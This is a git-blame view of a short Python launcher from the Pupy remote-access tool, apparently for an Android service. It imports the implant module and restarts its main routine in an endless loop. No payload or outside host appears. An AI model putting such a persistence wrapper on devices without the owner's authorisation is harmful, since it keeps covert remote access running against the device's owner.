2016-05-07 23:06:13 +00:00
|
|
|
#!/usr/bin/env python
|
|
|
|
# -*- coding: UTF8 -*-
|
|
|
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
|
|
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
|
|
|
|
|
|
|
import os
|
2017-05-14 17:48:15 +00:00
|
|
|
os.environ['KIVY_NO_FILELOG']='yes'
|
2016-05-07 23:06:13 +00:00
|
|
|
|
2017-05-14 17:48:15 +00:00
|
|
|
from time import sleep
|
|
|
|
try:
|
|
|
|
print "Try to import pp"
|
|
|
|
import pp
|
|
|
|
except:
|
|
|
|
import service.pp
|
|
|
|
print "OH SHIT! service.pp required!"
|
2016-05-07 23:06:13 +00:00
|
|
|
|
|
|
|
if __name__ == '__main__':
|
2017-05-14 17:48:15 +00:00
|
|
|
while True:
|
|
|
|
print "starting pupy ..."
|
|
|
|
pp.main()
|
|
|
|
print "pupy exit"
|